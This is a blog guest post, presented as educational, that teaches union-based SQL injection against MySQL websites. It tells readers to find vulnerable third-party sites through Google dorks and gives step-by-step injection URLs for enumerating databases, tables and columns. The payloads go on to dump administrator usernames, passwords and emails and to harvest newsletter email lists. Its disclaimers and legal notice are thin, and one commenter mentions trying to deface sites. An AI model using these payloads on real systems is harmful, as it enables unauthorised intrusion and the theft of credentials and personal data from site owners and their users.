SQL injection tutorial by for3v3rforgott3n

Contents At A Glance:


Finding Vulnerable Sites

Getting Number of Columns

Getting MySQL Version

Getting Database Names

Getting Database User

Getting Table Names

Getting Column Names

LIMIT, What is it and why do I need to know how to use it?

End Notes


Note: This is a guest post by Jay Huang, founder of Windows7Center. Some of you may know him as a speaker at Defcon and Blackhat. He will be covering a simple SQL injection approach, and how it is executed, to provide webmasters a holistic view on how a simple attack can be detrimental towards their business.

First of all, if you find that I have written something that is wrong, please address it and I will fix it. I have written this tutorial solely for education purposes, do not contact me regarding anything along the lines of me publishing “full disclosure” information on internet security. I have written this in the hopes that it will not only help educate anyone who is interested in SQL injection, it may also help educate any website owners/coders who are unaware of the risks that they put their company/systems in when leaving a simple issue unattended.

Finding Vulnerable Sites

First you need to know what makes a site vulnerable to SQL injection before you can find and inject vulnerable sites.

The most common reason that a site is vulnerable to SQL injection attacks is because the owner/coder didn’t use the built in MySQL feature ‘mysql_real_escape_string()‘. The purpose of this function is to sanitize or remove special characters from an SQL query. The most common side-effect is the simple username/password exploit ‘ or ‘1’=’1. Most website administrators today use this function along with stripslashes() or addslashes() to further sanitize the data, which is actually not all that safe.

Well since I gave you a very basic reason for why certain sites are vulnerable, we will move on to finding some vulnerable sites to play with.

When talking about finding sites to inject you will hear the term “dork” a lot, what this refers to is a google search term targeted at finding vulnerable websites. A “google dork” uses the built in google functions inurl:, or allinurl: to search for websites that have certain strings in their URL or website address, an example of a google dork is: inurl:index.php?id=1, entering this string into the google search engine would return all of the sites in google’s cache with the string index.php?id=1 in their URL, Ex: http://www.example.com/index.php?id=1

Here is a list of “dorks” to use:


Now that we know what a google dork is we can start finding vulnerable sites. To be vulnerable the site has to have a GET parameter in the URL: index.php?id=1, id=1 being the GET parameter which ‘gets’ the 1 ‘id’ from the SQL database(Understand? Good.)

So you are going to go to http://www.google.com,http://www.blackle.com, or http://www.dogpile.com and search for your selected dork. When you get your list you can start checking for vulnerabilities. To do this the most common way is to add a back-tick after one of the integers in the URL

Example: http://www.example.com/index.php?id=1′

Now there are many ways for a site to show you that it is vulnerable the most common are errors:

You have an error in your SQL SyntaxWarning: mysql_fetch_array():Warning: mysql_fetch_assoc():Warning: mysql_numrows():Warning: mysql_num_rows():Warning: mysql_result():Warning: mysql_preg_match():

If you receive any of these errors when you enter the ‘ after the number then chances are the site is vulnerable to SQL injection attacks to some extent, but that isn’t the only way to see if a site is vulnerable, the biggest overlooked error is when a main part of the site just simply disappears, such as a news article or a body of text on the main site. If this happens then it is likely that the site is vulnerable also.

Getting Number of Columns

After you find your vulnerable site the first step you need to take is to find the number of columns in the table that is in use.

There are a couple of ways that people do this, personally I use the ORDER BY statement, there is also GROUP BY which accomplishes the same thing, but it’s just habit. A lot of people use the string +and+1=0+ before their queries, most of the time it is just a waste of time to type this out, the only time you need this is if you try ORDER BY 300– and you don’t receive an error, then you would add the and 1=0 to your query.

To find number of columns you start with ORDER BY 1, if it doesn’t error then you are good to go, sometimes you will get a syntax error when doing ORDER BY 1 that’s why it is important to start there, if you get the syntax error your best bet is to move on to another site. If you don’t get an error I always go to ORDER BY 300 or more to see if I will get an error there, sometimes you could go on for years and never get an error, there can’t be 300 or more columns in the database so you should always get an error. Note that this is not a limitation on the database itself, just that most sites simply will not have that many columns in a table. After getting the error on 300 or higher, it is up to you how you want to find the number of columns, personally I jump around out of habit I usually do something like this:

http://www.example.com/index.php?id=1 ORDER BY 1–

no error

http://www.example.com/index.php?id=1 ORDER BY 300–


http://www.example.com/index.php?id=1 ORDER BY 10–


http://www.example.com/index.php?id=1 ORDER BY 5–

no error

http://www.example.com/index.php?id=1 ORDER BY 6–


After this you know that your website has 5 columns because it errors on everything above ORDER BY 5, and doesn’t error on anything below ORDER BY 5.

Note on comments: Comments are not always necessary when injecting a website, although sometimes they are, by comments I am referring to the — at the end of the URL.

Possible comments to use are –, /*, /**/, or simply nothing at the end.

Getting MySQL Version

Now that we have the number of columns you are going to want to get the version of the database you are working on, this is an important step, because any version lower than 5 you will have to guess table names and column names. I don’t recommend working on a database lower than version 5 for beginners, you should get acquainted with SQL injection first. Before we can get the version you have to find a visible column number. This is where the injection part really starts. To do this you will use a SELECT statement and the UNION statement. Most people don’t understand that these are two completely different SQL statements, the reason you use UNION SELECT is because you are already SELECTing from the database when you are simply visiting the site.

For example: http://www.example.com/index.php?id=1

What this URL is telling the database is SELECT * FROM ‘tablenamehere’ WHERE id=’1′;

Now when we add UNION into that URL we are adding two SQL statements together. Since our example website has 5 columns this is what our query would look like:


The website should return normal after doing this, if it doesn’t and it tells you something like “Forbidden” or some other error, then the website doesn’t support union statements and you need to move on. If it doesn’t error then add a negative sign after the equal sign like this:


There is a reason for this, I’ve been asked many times why you do this, the reason is when you send this query to the database you are sending something like:

SELECT * FROM ‘tablenamehere’ WHERE id=’-1′ AND SELECT 1,2,3,4,5

There isn’t a -1 in the id column so the database will return a blank section of the page, but since we have our other SELECT statement in there it will return numbers back in the data’s place (so in short, the negative sign pretty much cleans out the content that isn’t valuable to us). Those are our visible columns. For our example we’ll say we got back the numbers 2 and 3 so these are the numbers that we can retrieve data from. To get our database version there are two ways, either @@version or version(). To use them do this:




If you get an error like “Illegal mix of coallations” when using @@version you simply have to convert it to latin from UTF8 like so:

http://www.example.com/index.php?id=-1+UNION+SELECT+1,convert(@@version using latin1),3,4,5–

NOTE: Notice that we completely replace the number 2 with our query, something like union select 1,concat(version()),2,3,4,5– will not work.

If it worked you now know the version of the MySQL database in use. You will see something like 5.0.13-log, or, there are countless versions and types but all we need to focus on is the first number if it 5 or higher then we are good to go, if it is 4 or lower, it is recommended for you to move on if you’re new to SQL injection.

Getting Database Names

I haven’t seen this covered on any papers on SQL injection so I will include it because it is an important part of SQL Injection. For novice SQL injectors ever started to inject a website then find no useful data such as usernames/passwords? Most likely because the current database in use for the site only holds data like news articles and the like. This is where getting the different database names is important. In versions of MySQL higher than 5 there will always be a database named ‘information_schema’ and most of the time a database named ‘test’, neither of these hold data that you will need to know, but yet the information_schema database is the reason that injection v5+ databases is so easy.

To get the list of databases do this:

http://www.example.com/index.php?id=-1+union+select+1,group_concat(schema_name),3,4,5+ from+information_schema.schemata–

Now where you saw the database version pop up earlier you will see the names of all of the different databases we will say for our example we got back something like this:


If you want to know what the database in use right now is, do this:


We’ll say we got back ‘exampledb‘.

From now on it is a good idea to have a text editor open like notepad/gEdit to save this information for later use. I always have notepad open when I am injecting a site, with a template like this:




So that I can quickly copy and paste the information in. In my opinion this is a good habit to get into.

Getting Database User

Not really necessary but good to know. Use user():


Getting Table Names

I’m going to go a little more in-depth than most tutorials you’ll see on the internet here because they aren’t very thorough, most will just tell you how to get the tables of the current database but I am going to show you how to get table names from selected databases.

To get table names from the current database:

http://www.example.com/index.php?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()–

You will see a list of table names come out, for our example we will say we got:

news, images, ads, links

Wow that looks useful huh? That is information we can get from just looking at the website, so now it’s time to get tables from our other database we found earlier, ‘exampledb2‘. This is where your best friend the hex converter will come in handy. To get tables from selected databases you have to hex the name.

So we convert exampledb2 to 6578616d706c65646232. Always remember to add the 0x in front of the hexed name to tell the database that it is hex encoded and it need to decode it to get the right name. So our database name ends up being 0x6578616d706c65646232.

Online text-to-hex converters:




Now for the query:

http://www.example.com/index.php?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=0x6578616d706c65646232–

Notice we changed ‘database()’ to our hexed database name ‘ 0x6578616d706c65646232

For our example we’ll say we got back:

newsletter, members, administrators

That’s the good stuff, normally you wouldn’t have found this information and just moved onto another site.

Getting Column Names

This is exactly like getting table names, you just change table_name to column_name and information_schema.tables to information_schema.columns:

http://www.example.com/index.php?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()–

That’s gonna give you every column name in the database but you most probably don’t want the columns for ‘exampledb‘ because there wasn’t any useful info in there. You want just the column names from ‘exampledb2‘ because there was member info and admin info in that database. So now you open your text-to-hex editor again and hex your database again so ‘exampledb2‘ becomes ‘0x6578616d706c65646232

http://www.example.com/index.php?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=0x6578616d706c65646232–

That will only return the column names from that selected database. We’ll say we got back:

email, username, password, first_name, last_name

If you remember the table names from exampledb2, which you should because you always paste into notepad right? You can get the administrator’s username, password, email address, and full name.

To get this you would do:

http://www.example.com/index.php?id=-1 union select 1,group_concat(username,0x3a,password,0x3a,email,0x3a,first_name,0x3a,last_name),3,4,5 from exampledb2.administrators–

3a being the hex value for a colon ‘:’ so that you can easily separate the information. Sometimes this wont work though, sometimes you have to hex the databasename.tablename (not a lot but sometimes) so in that case it would be:

http://www.example.com/index.php?id=-1 union select 1,group_concat(username,0x3a,password),3,4,5 from 0x6578616d706c656462322e61646d696e6973747261746f7273–

Which will then give you what you’re looking for.

LIMIT What is it and why do I need to know how to use it?

Ever found a database that is full of users/emails/anything else that you want but can’t get it all because the website just wont display them all in one go? Well, this is where you need the LIMIT statement.

For our example we will say we want the emails from the exampledb2.newsletter table, the only column in that table is ’email’, it probably will never be that easy but hey this is an example right? There are 500 emails in this database and when we group_concat(email) from the database we only get back 20 results and 1 half cut-off like random.email@gma so how do we get the rest of the 480 emails? This is where your perseverance will come into play, if you want it that bad you would use the LIMIT statement to get them since we already got the first 20 results we’ll start at 21 to get the full email address that is cut off:

http://www.example.com/index.php?id=-1 union select 1,concat(email),3,4,5 from exampledb2.newsletter limit 21,9999999–

Note when using limit: You can’t use group_concat() it will error, drop the group and just use concat().

The 999999 can be any number higher than the row count in the database I just use that because I haven’t seen a database with that many rows, therefore it would be more than enough to cover all our data. You would do this increasing your first number by 1 until you get an error or just a blank area where the email addresses have been popping up. Ex: limit 22,9999999–,limit 23,9999999–,limit 24,9999999–

Yes, it will take a long time to do this, there are tools used to dump databases though, most commonly used is SQLi Helper, but keep in mind that this tool is flawed too because it won’t increase the last number when limiting if needed. You can always code your own program to automate the task for you in php, perl, python, etc. Be creative! =)

End Notes

Well, that’s it. I do hope that I helped you. I know it was a long read for those of you that actually went through it all, but I think most of the people who read this will learn something new. On another note, although SQL injection and defacing websites can be fun, you need to know that it is illegal. Here are some things to keep in mind.

Hacking is covered under law Title 18: Crimes and Criminal Procedure:Part 1: Crimes: Chapter 47: Fraud and False Statements: Section 1030: Fraud and related activity in connection with computers. The federal punishment for hacking into computers ranges from a fine or imprisonment for no more than one year to a fine and imprisonment for no more than twenty years. This wide range of punishment depends upon the seriousness of the criminal activity and what damage the hacker has done.The Ten Commandments of Computer Ethics by the Computer Ethics Institute:

1. Thou shalt not use a computer to harm other people.

2. Thou shalt not interfere with other people’s computer work.

3. Thou shalt not snoop around in other people’s computer files.

4. Thou shalt not use a computer to steal.

5. Thou shalt not use a computer to bear false witness.

6. Thou shalt not copy or use proprietary software for which you have not paid.

7. Thou shalt not use other people’s computer resources without authorization or proper compensation.

8. Thou shalt not appropriate other people’s intellectual output.

9. Thou shalt think about the social consequences of the program you are writing or the system you are designing.

10. Thou shalt always use a computer in ways that insure consideration and respect for your fellow humans.

If you found this tutorial informative, please leave a comment or send me an email. If you found some errors or have any questions/suggestions, please don’t hesitate to comment or send me an email too!

All information contained here serves solely for education purposes, we do not promote or condone illegal acts/activities, all activities resulting from the information disclosed in this tutorial does not involve us in anyway. This tutorial is property of the author Jay Huang, and is not to be reproduced in any form anywhere without credits and the author’s exclusive permission. Links to this site however, are allowed.

Tags: , , , , , , , ,

About the author

Freelance web developer based in Vancouver, B.C. Co-founder of Windows7Center.com and Windows8Center.com.

Website: http://jayhuang.org

2 Comments Leave yours

  1. Emin #

    Thanks. It was quite helpful except I haven’t been able to deface any site yet. =P

    • I think it is important for me to reiterate that we asked Jay to write this article solely for educational purposes and to help webmasters understand one of the ways their websites can be compromised. We do not in anyway encourage the malicious execution of such an attack.

Leave a Reply